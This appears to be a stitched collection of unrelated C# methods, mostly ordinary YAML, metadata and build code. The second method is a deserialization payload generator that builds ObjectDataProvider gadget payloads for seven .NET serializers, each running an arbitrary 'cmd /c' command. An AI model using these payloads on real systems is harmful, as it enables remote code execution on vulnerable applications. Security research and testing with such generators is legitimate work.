github.Repository.Content.GetAllContents(repoOwnerName[0], repoOwnerName[1], "images/cards"); Reference newBranch = null; var itemsCreated = 0; foreach (var repoPost in repoContentsPosts) { // Is there a card? if (repoContentsCards.Any(it => it.Name == repoPost.Name + ".png")) { continue; } // If not, generate one! var postData = await github.Repository.Content.GetRawContent(repoOwnerName[0], repoOwnerName[1], repoPost.Path); if (postData == null) { continue; } var frontMatterYaml = Encoding.UTF8.GetString(postData); var frontMatterYamlTemp = frontMatterYaml.Split("---"); if (frontMatterYamlTemp.Length >= 2) { // Deserialize front matter frontMatterYaml = frontMatterYamlTemp[1]; var frontMatter = yamlDeserializer .Deserialize <FrontMatter>(frontMatterYaml); // Cleanup front matter frontMatter.Title = frontMatter.Title.Replace("&", "&"); // Generate card image using var cardImage = new Image <Rgba32>(cardWidth, cardHeight); if (cardStyle == CardStyle.Light) { // Shadow and box DrawRectangle(cardImage, shadowOffset, shadowOffset, cardWidth - shadowOffset, cardHeight - shadowOffset, Color.Gray); DrawRectangle(cardImage, 0, 0, cardWidth - shadowOffset, cardHeight - shadowOffset, Color.White); // Title DrawText(cardImage, titleLocation.X, titleLocation.Y, cardWidth - textPadding - textPadding - textPadding - shadowOffset, Color.Black, font.CreateFont(titleSize, FontStyle.Bold), frontMatter.Title); // Author & date DrawText(cardImage, authorLocation.X, authorLocation.Y, cardWidth - textPadding - textPadding - textPadding - shadowOffset, Color.DarkGray, font.CreateFont(authorSize), (frontMatter.Author ?? "") + (frontMatter.Date?.ToString(" | MMMM dd, yyyy", CultureInfo.InvariantCulture) ?? "")); } else if (cardStyle == CardStyle.DarkWithBackgroundImage) { // Draw background image using var backgroundImage = Image.Load(System.IO.Path.Combine(context.FunctionAppDirectory, "Images", "TwitterCardBackground.png")); DrawImage(cardImage, 0, 0, cardWidth, cardHeight, backgroundImage); // Title DrawText(cardImage, titleLocation.X, titleLocation.Y, cardWidth - textPadding - textPadding - textPadding - textPadding, Color.White, font.CreateFont(titleSize, FontStyle.Bold), frontMatter.Title); // Author & date DrawText(cardImage, authorLocation.X, authorLocation.Y, cardWidth - textPadding - textPadding - textPadding - textPadding, Color.White, font.CreateFont(authorSize, FontStyle.Italic), (frontMatter.Author ?? "") + (frontMatter.Date?.ToString(" | MMMM dd, yyyy", CultureInfo.InvariantCulture) ?? "")); } // Render card image await using var memoryStream = new MemoryStream(); cardImage.Save(memoryStream, PngFormat.Instance); memoryStream.Position = 0; // Create a pull request for it if (newBranch == null) { newBranch = await github.Git.Reference.Create(repo.Id, new NewReference($"refs/heads/twitter-cards-" + Guid.NewGuid(), defaultBranch.Commit.Sha)); } var latestCommit = await github.Git.Commit.Get(repo.Id, newBranch.Object.Sha); var file = new NewBlob { Encoding = EncodingType.Base64, Content = Convert.ToBase64String(memoryStream.ToArray()) }; var blob = await github.Git.Blob.Create(repo.Id, file); var nt = new NewTree { BaseTree = latestCommit.Sha }; nt.Tree.Add(new NewTreeItem { Path = $"images/cards/{repoPost.Name}.png", Mode = "100644", Type = TreeType.Blob, Sha = blob.Sha }); var newTree = await github.Git.Tree.Create(repo.Id, nt); var newCommit = new NewCommit($"[Automatic] Add a Twitter card for: {frontMatter.Title}", newTree.Sha, latestCommit.Sha); var commit = await github.Git.Commit.Create(repo.Id, newCommit); newBranch = await github.Git.Reference.Update(repo.Id, newBranch.Ref, new ReferenceUpdate(commit.Sha)); log.LogInformation($"Generated Twitter card for: {frontMatter.Title}"); // Renew lease try { await lockBlob.RenewLeaseAsync(new AccessCondition { LeaseId = lockIdentifier }); } catch (StorageException ex) when(ex.RequestInformation?.HttpStatusCode == (int)HttpStatusCode.Conflict || ex.RequestInformation?.HttpStatusCode == (int)HttpStatusCode.PreconditionFailed) { break; } // Stop after X items if (++itemsCreated >= 25) { break; } } } // Create PR if (newBranch != null) { await github.Repository.PullRequest.Create(repo.Id, new NewPullRequest($"[Automatic] Add missing Twitter cards", newBranch.Ref, defaultBranch.Name) { Body = $"Add Twitter cards for various posts" }); } // Release lock await lockBlob.ReleaseLeaseAsync(new AccessCondition { LeaseId = lockIdentifier }); return(new OkObjectResult("Done.")); }
public override object Generate(string cmd, string formatter, Boolean test) { if (formatter.ToLower().Equals("xaml")) { ProcessStartInfo psi = new ProcessStartInfo(); psi.FileName = "cmd"; psi.Arguments = "/c " + cmd; StringDictionary dict = new StringDictionary(); psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict); Process p = new Process(); p.StartInfo = psi; ObjectDataProvider odp = new ObjectDataProvider(); odp.MethodName = "Start"; odp.IsInitialLoadEnabled = false; odp.ObjectInstance = p; string payload = XamlWriter.Save(odp); if (test) { try { StringReader stringReader = new StringReader(payload); XmlReader xmlReader = XmlReader.Create(stringReader); XamlReader.Load(xmlReader); } catch { } } return(payload); } if (formatter.ToLower().Equals("json.net")) { String payload = @"{ '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 'MethodName':'Start', 'MethodParameters':{ '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', '$values':['cmd','/c " + cmd + @"'] }, 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} }"; if (test) { try { Object obj = JsonConvert.DeserializeObject <Object>(payload, new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.Auto });; } catch { } } return(payload); } else if (formatter.ToLower().Equals("fastjson")) { String payload = @"{ ""$types"":{ ""System.Windows.Data.ObjectDataProvider, PresentationFramework, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = 31bf3856ad364e35"":""1"", ""System.Diagnostics.Process, System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089"":""2"", ""System.Diagnostics.ProcessStartInfo, System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089"":""3"" }, ""$type"":""1"", ""ObjectInstance"":{ ""$type"":""2"", ""StartInfo"":{ ""$type"":""3"", ""FileName"":""cmd"", ""Arguments"":""/c " + cmd + @""" } }, ""MethodName"":""Start"" }"; if (test) { try { var instance = JSON.ToObject <Object>(payload); } catch { } } return(payload); } else if (formatter.ToLower().Equals("javascriptserializer")) { String payload = @"{ '__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 'MethodName':'Start', 'ObjectInstance':{ '__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', 'StartInfo': { '__type':'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', 'FileName':'cmd', 'Arguments':'/c " + cmd + @"' } } }"; if (test) { try { JavaScriptSerializer jss = new JavaScriptSerializer(new SimpleTypeResolver()); var json_req = jss.Deserialize <Object>(payload); } catch { } } return(payload); } else if (formatter.ToLower().Equals("xmlserializer")) { String payload = $@"<?xml version=""1.0""?> <root xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"" type=""System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""> <ExpandedWrapperOfXamlReaderObjectDataProvider> <ExpandedElement/> <ProjectedProperty0> <MethodName>Parse</MethodName> <MethodParameters> <anyType xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"" xsi:type=""xsd:string""> <ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system"> <ObjectDataProvider x:Key="LaunchCmd" ObjectType="{{x:Type Diag:Process}}" MethodName="Start"> <ObjectDataProvider.MethodParameters> <System:String>cmd</System:String> <System:String>/c {cmd}</System:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary> </anyType> </MethodParameters> <ObjectInstance xsi:type=""XamlReader""></ObjectInstance> </ProjectedProperty0> </ExpandedWrapperOfXamlReaderObjectDataProvider> </root> "; if (test) { try { var xmlDoc = new XmlDocument(); xmlDoc.LoadXml(payload); XmlElement xmlItem = (XmlElement)xmlDoc.SelectSingleNode("root"); var s = new XmlSerializer(Type.GetType(xmlItem.GetAttribute("type"))); var d = s.Deserialize(new XmlTextReader(new StringReader(xmlItem.InnerXml))); } catch { } } return(payload); } else if (formatter.ToLower().Equals("datacontractserializer")) { String payload = $@"<?xml version=""1.0""?> <root xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"" type=""System.Data.Services.Internal.ExpandedWrapper`2[[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""> <ExpandedWrapperOfProcessObjectDataProviderpaO_SOqJL xmlns=""http://schemas.datacontract.org/2004/07/System.Data.Services.Internal"" xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:z=""http://schemas.microsoft.com/2003/10/Serialization/""> <ExpandedElement z:Id=""ref1"" xmlns:a=""http://schemas.datacontract.org/2004/07/System.Diagnostics""> <__identity i:nil=""true"" xmlns=""http://schemas.datacontract.org/2004/07/System""/> </ExpandedElement> <ProjectedProperty0 xmlns:a=""http://schemas.datacontract.org/2004/07/System.Windows.Data""> <a:MethodName>Start</a:MethodName> <a:MethodParameters xmlns:b=""http://schemas.microsoft.com/2003/10/Serialization/Arrays""> <b:anyType i:type=""c:string"" xmlns:c=""http://www.w3.org/2001/XMLSchema"">cmd</b:anyType> <b:anyType i:type=""c:string"" xmlns:c=""http://www.w3.org/2001/XMLSchema"">/c {cmd}</b:anyType> </a:MethodParameters> <a:ObjectInstance z:Ref=""ref1""/> </ProjectedProperty0> </ExpandedWrapperOfProcessObjectDataProviderpaO_SOqJL> </root> "; if (test) { try { var xmlDoc = new XmlDocument(); xmlDoc.LoadXml(payload); XmlElement xmlItem = (XmlElement)xmlDoc.SelectSingleNode("root"); var s = new DataContractSerializer(Type.GetType(xmlItem.GetAttribute("type"))); var d = s.ReadObject(new XmlTextReader(new StringReader(xmlItem.InnerXml))); } catch { } } return(payload); } else if (formatter.ToLower().Equals("yamldotnet")) { String payload = @" !<!System.Windows.Data.ObjectDataProvider%2c%20PresentationFramework%2c%20Version=4.0.0.0%2c%20Culture=neutral%2c%20PublicKeyToken=31bf3856ad364e35> { MethodName: Start, ObjectInstance: !<!System.Diagnostics.Process%2c%20System%2c%20Version=4.0.0.0%2c%20Culture=neutral%2c%20PublicKeyToken=b77a5c561934e089> { StartInfo: !<!System.Diagnostics.ProcessStartInfo%2c%20System%2c%20Version=4.0.0.0%2c%20Culture=neutral%2c%20PublicKeyToken=b77a5c561934e089> { FileName : cmd, Arguments : '/C " + cmd + @"' } } }"; if (test) { try { //to bypass all of the vulnerable version's type checking, we need to set up a stream using (var reader = new StreamReader(new MemoryStream(System.Text.Encoding.UTF8.GetBytes(payload)))) { var deserializer = new DeserializerBuilder().Build(); var result = deserializer.Deserialize(reader); } } catch { } } return(payload); } else { throw new Exception("Formatter not supported"); } }
public static bool VerifyMetadata(bool showUnused, Action <ApiLogMessage> logger = null) { bool ret = true; IDeserializer deserializer = new DeserializerBuilder().Build(); List <string> files = new List <string>(); List <string> processed = new List <string>(); foreach (string directory in Directory.EnumerateDirectories(Listener.Config.MusicBaseDir, "*", SearchOption.AllDirectories)) { if (Listener.Config.SongFileDir != null) { if (!directory.Contains(".git") && directory.ToLowerInvariant() != "other" && !directory.ToLowerInvariant().Contains("other\\") && !directory.ToLowerInvariant().Contains("other/")) { files.AddRange(Directory .EnumerateFiles(Path.Combine(Listener.Config.SongFileDir, directory), "*") .Where(filename => !filename.EndsWith(".pos") && !filename.EndsWith("sflib") && !filename.EndsWith("sf2lib") && !filename.EndsWith(".sth")) //exclude song libraries .Select(filename => Path.Combine(Listener.Config.SongFileDir, directory, filename))); } } else if (!directory.Contains(".git") && directory.ToLowerInvariant() != "other" && !directory.ToLowerInvariant().Contains("other\\") && !directory.ToLowerInvariant().Contains("other/")) { files.AddRange(Directory .EnumerateFiles(Path.Combine(Listener.Config.MusicBaseDir, directory), "*") .Where(filename => !filename.EndsWith(".yaml") && !filename.EndsWith(".pos") && !filename.EndsWith("sflib") && !filename.EndsWith("sf2lib") && !filename.EndsWith(".sth")) .Select(filename => Path.Combine(Listener.Config.MusicBaseDir, directory, filename))); } foreach (string filename in Directory.EnumerateFiles( Path.Combine(Listener.Config.MusicBaseDir, directory), "*.yaml")) { try { FileStream inputStream = new FileStream(Path.Combine(Listener.Config.MusicBaseDir, directory, filename), FileMode.Open); Metadata result; using (StreamReader reader = new StreamReader(inputStream)) { result = deserializer.Deserialize <Metadata>(reader); } string path = Path.Combine(Listener.Config.SongFileDir ?? Listener.Config.MusicBaseDir, directory); string current = Path.Combine(Listener.Config.MusicBaseDir, directory, filename); List <Song> songs = ParseMetadata(result, path); Game game = songs.First().game; if (game.id == null) { logger?.Invoke(new ApiLogMessage($"Missing Game ID in file {current}", ApiLogLevel.Warning)); ret = false; } if (game.title == null) { logger?.Invoke(new ApiLogMessage($"Missing Game Title in file {current}", ApiLogLevel.Warning)); ret = false; } if (game.platform == null || game.platform.Length == 0) { logger?.Invoke(new ApiLogMessage($"Missing Game Platform in file {current}", ApiLogLevel.Warning)); ret = false; } if (game.year == null) { logger?.Invoke(new ApiLogMessage($"Missing Game Year in file {current}", ApiLogLevel.Warning)); ret = false; } foreach (Song song in songs) { if (song.id == null) { logger?.Invoke(new ApiLogMessage($"Missing Song ID in file {current}", ApiLogLevel.Warning)); ret = false; } if (song.title == null) { logger?.Invoke(new ApiLogMessage($"Missing Song Title in file {current}", ApiLogLevel.Warning)); ret = false; } if (song.types == null || song.types.Length == 0) { logger?.Invoke(new ApiLogMessage($"Missing Song Type in file {current}", ApiLogLevel.Warning)); ret = false; } if (song.path != null && processed.Contains(song.path)) { logger?.Invoke(new ApiLogMessage( $"Duplicate reference to song file in file {current}. Path: {song.path}", ApiLogLevel.Warning)); ret = false; } if (song.path != null && !files.Contains(song.path)) { logger?.Invoke(new ApiLogMessage( $"Song file referenced in file {current} is missing. Path: {song.path}", ApiLogLevel.Warning)); ret = false; } if (song.path == null) { logger?.Invoke(new ApiLogMessage( $"Missing Song Path in file {current}", ApiLogLevel.Warning)); ret = false; } if (song.path != null && !processed.Contains(song.path) && files.Contains(song.path)) { processed.Add(song.path); } if (song.id == null) { continue; } Song duplicate = SongList.FirstOrDefault(x => x.id == song.id); if (duplicate != null) { logger?.Invoke(new ApiLogMessage( $"ID {song.id} has been declared twice, in songs {song.title} and {duplicate.title}", ApiLogLevel.Warning)); ret = false; } SongList.Add(song); } } catch (Exception e) { logger?.Invoke(new ApiLogMessage( $"Exception encountered in file {Path.Combine(Listener.Config.MusicBaseDir, directory, filename)}:" + $"{Environment.NewLine}{e.Message}{Environment.NewLine}{e.StackTrace}{Environment.NewLine}Skipping file.", ApiLogLevel.Critical)); } } } if (!showUnused) { return(ret); } IEnumerable <string> unused = files.Where(x => !processed.Contains(x)); foreach (string path in unused) { ret = false; logger?.Invoke(new ApiLogMessage($"Song file at {path} is unused.", ApiLogLevel.Warning)); } return(ret); }
public static async void LoadMetadata(Action <ApiLogMessage> logger = null) => await Task.Run(() => { List <Song> tempList = new List <Song>(); if (watcher == null) { MetadataStore.logger = logger; watcher = new FileSystemWatcher(Listener.Config.MusicBaseDir) { NotifyFilter = NotifyFilters.Size, IncludeSubdirectories = true }; watcher.Changed += OnFileChanged; watcher.EnableRaisingEvents = true; } IDeserializer deserializer = new DeserializerBuilder().Build(); foreach (string directory in Directory.EnumerateDirectories(Listener.Config.MusicBaseDir, "*", SearchOption.AllDirectories)) { foreach (string filename in Directory.EnumerateFiles(Path.Combine(Listener.Config.MusicBaseDir, directory), "*.yaml")) { try { logger?.Invoke(new ApiLogMessage( $"Loading {Path.Combine(Listener.Config.MusicBaseDir, directory, filename)}", ApiLogLevel.Debug)); FileStream inputStream = new FileStream( Path.Combine(Listener.Config.MusicBaseDir, directory, filename), FileMode.Open); Metadata result; using (StreamReader reader = new StreamReader(inputStream)) { result = deserializer.Deserialize <Metadata>(reader); } string path = Path.Combine(Listener.Config.SongFileDir ?? Listener.Config.MusicBaseDir, directory); List <Song> songs = ParseMetadata(result, path); foreach (Song song in songs) { Song duplicate = tempList.FirstOrDefault(x => x.id == song.id); if (duplicate != null) { throw new DuplicateSongException( $"ID {song.id} has been declared twice, in songs {song.title} and {duplicate.title}"); } if (File.Exists(song.path)) { tempList.AddRange(new List <Song> { song }); continue; } logger?.Invoke(new ApiLogMessage( $"Song file at {song.path} does not exist, the song will not play", ApiLogLevel.Warning)); song.path = null; } } catch (DuplicateSongException e) { logger?.Invoke(new ApiLogMessage($"Exception processing metadata file {Path.Combine(Path.Combine(Listener.Config.MusicBaseDir, directory), filename)}: {e.Message}{Environment.NewLine}{e.StackTrace}" + $"{Environment.NewLine}Cannot continue", ApiLogLevel.Critical)); break; } catch (Exception e) { logger?.Invoke(new ApiLogMessage($"Exception processing metadata file {Path.Combine(Path.Combine(Listener.Config.MusicBaseDir, directory), filename)}: {e.Message}{Environment.NewLine}{e.StackTrace}" + $"{Environment.NewLine}Inner Exception: {e.InnerException}{Environment.NewLine}Attempting to continue", ApiLogLevel.Critical)); } } } SongList = tempList; });
public void Build() { Console.WriteLine($"Generating {GetFilePath()}"); var deserializer = new DeserializerBuilder().Build(); var serializer = new SerializerBuilder().Build(); var fragmentsNotFound = new HashSet <FragmentName>(); var requiredFragments = new HashSet <FragmentName>(); var recommendedFragments = new HashSet <FragmentName>(); var processedFragments = new HashSet <FragmentName>(); var unprocessedFragments = new HashSet <FragmentName>(); var exclusives = new List <(FragmentName FragmentName, string Exclusivity)>(); var incompatibles = new List <(FragmentName FragmentName, string Exclusivity)>(); foreach (var fragment in Fragments.Where(NotExcluded)) { unprocessedFragments.Add(fragment); } reprocessFragments: foreach (var fragment in unprocessedFragments.ToList()) { var fragmentPath = GetFragmentLocation(fragment); if (!File.Exists(fragmentPath)) { fragmentsNotFound.Add(fragment); unprocessedFragments.Remove(fragment); } } foreach (var o in unprocessedFragments.Select(f => (f, ParseDocument(f))).ToList()) { var doc = o.Item2; var fragment = o.f; if (doc.Children.ContainsKey("exclusive") && doc.Children["exclusive"] is YamlSequenceNode fragmentExclusiveRoot) { foreach (var node in fragmentExclusiveRoot) { exclusives.Add((fragment, node.ToString())); } } if (doc.Children.ContainsKey("incompatible") && doc.Children["incompatible"] is YamlSequenceNode fragmentIncompatibleRoot) { foreach (var node in fragmentIncompatibleRoot) { incompatibles.Add((fragment, node.ToString())); } } if (doc.Children.ContainsKey("required") && doc.Children["required"] is YamlSequenceNode fragmentRequireRoot) { foreach (var node in fragmentRequireRoot) { if (ExcludeFragments.Contains(new FragmentName(node.ToString()))) { throw new YamlBuildException($"You excluded fragment {new FragmentName(node.ToString())} but it is required by {fragment}"); } requiredFragments.Add(new FragmentName(node.ToString())); } } if (doc.Children.ContainsKey("recommended") && doc.Children["recommended"] is YamlSequenceNode fragmentRecommendedRoot) { foreach (var node in fragmentRecommendedRoot) { if (!ExcludeFragments.Contains(new FragmentName(node.ToString()))) { recommendedFragments.Add(new FragmentName(node.ToString())); } } } processedFragments.Add(fragment); unprocessedFragments.Remove(fragment); } foreach (var fragment in requiredFragments .Concat(recommendedFragments) .Where(f => !processedFragments.Contains(f) && !fragmentsNotFound.Contains(f))) { unprocessedFragments.Add(fragment); } if (unprocessedFragments.Count != 0) { goto reprocessFragments; } var exclusiveConflict = exclusives.GroupBy(e => e.Exclusivity) .Where(e => e.Count() != 1) .FirstOrDefault(); if (exclusiveConflict != null) { throw new YamlBuildException($"The fragments {String.Join(", ", exclusiveConflict.Select(e => e.FragmentName))} can't be used simultaneously (group '{exclusiveConflict.Key}')"); } var groups = exclusives.ToDictionary(e => e.Exclusivity, e => e.FragmentName); var incompatible = incompatibles .Select(i => groups.TryGetValue(i.Exclusivity, out _) ? (i.FragmentName, i.Exclusivity) : (null, null)) .Where(i => i.Exclusivity != null) .FirstOrDefault(); if (incompatible.Exclusivity != null) { throw new YamlBuildException($"The fragment {incompatible.FragmentName} is incompatible with '{incompatible.Exclusivity}'"); } Console.WriteLine($"Selected fragments:"); foreach (var fragment in processedFragments) { Console.WriteLine($"\t{fragment}"); } foreach (var fragment in fragmentsNotFound) { var fragmentPath = GetFragmentLocation(fragment); ConsoleUtils.WriteLine($"\t{fragment} not found in {fragmentPath}, ignoring...", ConsoleColor.Yellow); } var services = new List <KeyValuePair <YamlNode, YamlNode> >(); var volumes = new List <KeyValuePair <YamlNode, YamlNode> >(); var networks = new List <KeyValuePair <YamlNode, YamlNode> >(); foreach (var o in processedFragments.Select(f => (f, ParseDocument(f))).ToList()) { var doc = o.Item2; var fragment = o.f; if (doc.Children.ContainsKey("services") && doc.Children["services"] is YamlMappingNode fragmentServicesRoot) { services.AddRange(fragmentServicesRoot.Children); } if (doc.Children.ContainsKey("volumes") && doc.Children["volumes"] is YamlMappingNode fragmentVolumesRoot) { volumes.AddRange(fragmentVolumesRoot.Children); } if (doc.Children.ContainsKey("networks") && doc.Children["networks"] is YamlMappingNode fragmentNetworksRoot) { networks.AddRange(fragmentNetworksRoot.Children); } } YamlMappingNode output = new YamlMappingNode(); output.Add("version", new YamlScalarNode("3") { Style = YamlDotNet.Core.ScalarStyle.DoubleQuoted }); output.Add("services", new YamlMappingNode(Merge(services))); output.Add("volumes", new YamlMappingNode(volumes)); output.Add("networks", new YamlMappingNode(networks)); PostProcess(output); var dockerImages = ((YamlMappingNode)output["services"]).Children.Select(kv => kv.Value["image"].ToString()).ToList(); dockerImages.Add("btcpayserver/docker-compose-builder:1.24.1"); dockerImages.Add("btcpayserver/docker-compose-generator:latest"); StringBuilder pullImageSh = new StringBuilder(); pullImageSh.Append($"#!/bin/bash\n\n"); pullImageSh.Append($"# This script is automatically generated via the docker-compose generator and can be use to pull all required docker images \n"); foreach (var image in dockerImages) { pullImageSh.Append($"docker pull $BTCPAY_DOCKER_PULL_FLAGS \"{image}\"\n"); } var outputFile = GetFilePath("pull-images.sh"); File.WriteAllText(outputFile, pullImageSh.ToString()); Console.WriteLine($"Generated {outputFile}"); StringBuilder saveImages = new StringBuilder(); saveImages.Append($"#!/bin/bash\n\n"); saveImages.Append($"# This script is automatically generated via the docker-compose generator and can be use to save the docker images in an archive \n"); saveImages.Append($"# ./save-images.sh output.tar \n"); saveImages.Append($"docker save -o \"$1\" \\\n {string.Join(" \\\n", dockerImages.Select(o => $"\"{o}\""))}"); outputFile = GetFilePath("save-images.sh"); File.WriteAllText(outputFile, saveImages.ToString()); Console.WriteLine($"Generated {outputFile}"); var result = serializer.Serialize(output); outputFile = GetFilePath(); File.WriteAllText(outputFile, result.Replace("''", "")); Console.WriteLine($"Generated {outputFile}"); Console.WriteLine(); }
public static Task InitAsync() { if (!Directory.Exists(PluginPath)) { Directory.CreateDirectory(PluginPath); } if (!Directory.Exists(ProtoPath)) { Directory.CreateDirectory(ProtoPath); } Handers = new ConcurrentDictionary <string, GrpcMethodHandlerInfo>(); return(Task.Factory.StartNew(() => { var dllFiles = Directory.GetFiles(PluginPath, "*.dll"); foreach (var file in dllFiles) { DllQueue.Enqueue(file); } var protoFiles = Directory.GetFiles(ProtoPath, "*.proto"); foreach (var file in protoFiles) { var NeedGenerate = true; var GenerateDllPath = string.Empty; var fileName = Path.GetFileNameWithoutExtension(file); var csharp_out = Path.Combine(BaseDirectory, $"plugins/.{fileName}"); if (Directory.Exists(csharp_out)) { var pluginYml = Path.Combine(csharp_out, $"plugin.yml"); GenerateDllPath = Path.Combine(csharp_out, $"{fileName}.dll"); var xmlDocPath = Path.Combine(csharp_out, $"{fileName}.xml"); if (File.Exists(pluginYml) && File.Exists(GenerateDllPath) && File.Exists(xmlDocPath)) { var deserializer = new DeserializerBuilder() .WithNamingConvention(new CamelCaseNamingConvention()) .Build(); var setting = new ProtoPluginModel(); using (FileStream fs = new FileStream(pluginYml, FileMode.Open, FileAccess.Read)) { var dic = (Dictionary <object, object>)deserializer.Deserialize(new StreamReader(fs, Encoding.Default)); dic.TryGetValue("FileName", out object fName); setting.FileName = fName?.ToString(); dic.TryGetValue("DllFileMD5", out object dName); setting.DllFileMD5 = dName?.ToString(); dic.TryGetValue("ProtoFileMD5", out object pName); setting.ProtoFileMD5 = pName?.ToString(); dic.TryGetValue("XmlFileMD5", out object xName); setting.XmlFileMD5 = xName?.ToString(); //var setting = deserializer.Deserialize<ProtoPluginModel>(File.ReadAllText(pluginYml)); } var protoMD5 = file.GetMD5(); var dllMD5 = GenerateDllPath.GetMD5(); var xmlMD5 = xmlDocPath.GetMD5(); if (setting.ProtoFileMD5 == protoMD5 && setting.DllFileMD5 == dllMD5 && setting.XmlFileMD5 == xmlMD5) { NeedGenerate = false; } } } if (NeedGenerate) { ProtoQueue.Enqueue(file); } else { DllQueue.Enqueue(GenerateDllPath); } } })); }
/// <summary> /// Implements TryParseDefinition. /// </summary> protected override bool TryParseDefinitionCore(ServiceDefinitionText text, out ServiceInfo?service, out IReadOnlyList <ServiceDefinitionError> errors) { var isFsd = new FsdParser().TryParseDefinition(text, out service, out errors); if (isFsd || text.Name.EndsWith(".fsd", StringComparison.OrdinalIgnoreCase)) { return(isFsd); } service = null; if (string.IsNullOrWhiteSpace(text.Text)) { errors = new[] { new ServiceDefinitionError("Service definition is missing.", new ServiceDefinitionPosition(text.Name, 1, 1)) }; return(false); } SwaggerService swaggerService; SwaggerParserContext context; if (!s_detectJsonRegex.IsMatch(text.Text)) { // parse YAML var yamlDeserializer = new DeserializerBuilder() .IgnoreUnmatchedProperties() .WithNamingConvention(new OurNamingConvention()) .Build(); using (var stringReader = new StringReader(text.Text)) { try { swaggerService = yamlDeserializer.Deserialize <SwaggerService>(stringReader); } catch (YamlException exception) { var errorMessage = exception.InnerException?.Message ?? exception.Message; const string errorStart = "): "; var errorStartIndex = errorMessage.IndexOf(errorStart, StringComparison.OrdinalIgnoreCase); if (errorStartIndex != -1) { errorMessage = errorMessage.Substring(errorStartIndex + errorStart.Length); } errors = new[] { new ServiceDefinitionError(errorMessage, new ServiceDefinitionPosition(text.Name, exception.End.Line, exception.End.Column)) }; return(false); } } if (swaggerService == null) { errors = new[] { new ServiceDefinitionError("Service definition is missing.", new ServiceDefinitionPosition(text.Name, 1, 1)) }; return(false); } context = SwaggerParserContext.FromYaml(text); } else { // parse JSON using (var stringReader = new StringReader(text.Text)) using (var jsonTextReader = new JsonTextReader(stringReader)) { try { swaggerService = JsonSerializer.Create(SwaggerUtility.JsonSerializerSettings).Deserialize <SwaggerService>(jsonTextReader); } catch (JsonException exception) { errors = new[] { new ServiceDefinitionError(exception.Message, new ServiceDefinitionPosition(text.Name, jsonTextReader.LineNumber, jsonTextReader.LinePosition)) }; return(false); } context = SwaggerParserContext.FromJson(text); } } var conversion = SwaggerConversion.Create(swaggerService, ServiceName, context); service = conversion.Service; errors = conversion.Errors; return(errors.Count == 0); }
public override int ProcessContents(IList <Line> contents) { SubscriptionData outputYamlData; try { string yamlString = contents.Aggregate <Line, string>("", (current, line) => $"{current}{System.Environment.NewLine}{line.Text}"); IDeserializer serializer = new DeserializerBuilder().Build(); outputYamlData = serializer.Deserialize <SubscriptionData>(yamlString); } catch (Exception e) { _logger.LogError(e, "Failed to parse input yaml. Please see help for correct format."); return(Constants.ErrorCode); } _yamlData.Batchable = ParseSetting(outputYamlData.Batchable, _yamlData.Batchable, false); _yamlData.Enabled = ParseSetting(outputYamlData.Enabled, _yamlData.Enabled, false); // Make sure Batchable and Enabled are valid bools if (!bool.TryParse(outputYamlData.Batchable, out bool batchable) || !bool.TryParse(outputYamlData.Enabled, out bool enabled)) { _logger.LogError("Either Batchable or Enabled is not a valid boolean values."); return(Constants.ErrorCode); } // Validate the merge policies if (!MergePoliciesPopUpHelpers.ValidateMergePolicies(MergePoliciesPopUpHelpers.ConvertMergePolicies(outputYamlData.MergePolicies), _logger)) { return(Constants.ErrorCode); } _yamlData.MergePolicies = outputYamlData.MergePolicies; // Parse and check the input fields _yamlData.Channel = ParseSetting(outputYamlData.Channel, _yamlData.Channel, false); if (string.IsNullOrEmpty(_yamlData.Channel)) { _logger.LogError("Channel must be non-empty"); return(Constants.ErrorCode); } _yamlData.SourceRepository = ParseSetting(outputYamlData.SourceRepository, _yamlData.SourceRepository, false); if (string.IsNullOrEmpty(_yamlData.SourceRepository)) { _logger.LogError("Source repository URL must be non-empty"); return(Constants.ErrorCode); } _yamlData.UpdateFrequency = ParseSetting(outputYamlData.UpdateFrequency, _yamlData.UpdateFrequency, false); if (string.IsNullOrEmpty(_yamlData.UpdateFrequency) || !Constants.AvailableFrequencies.Contains(_yamlData.UpdateFrequency, StringComparer.OrdinalIgnoreCase)) { _logger.LogError($"Frequency should be provided and 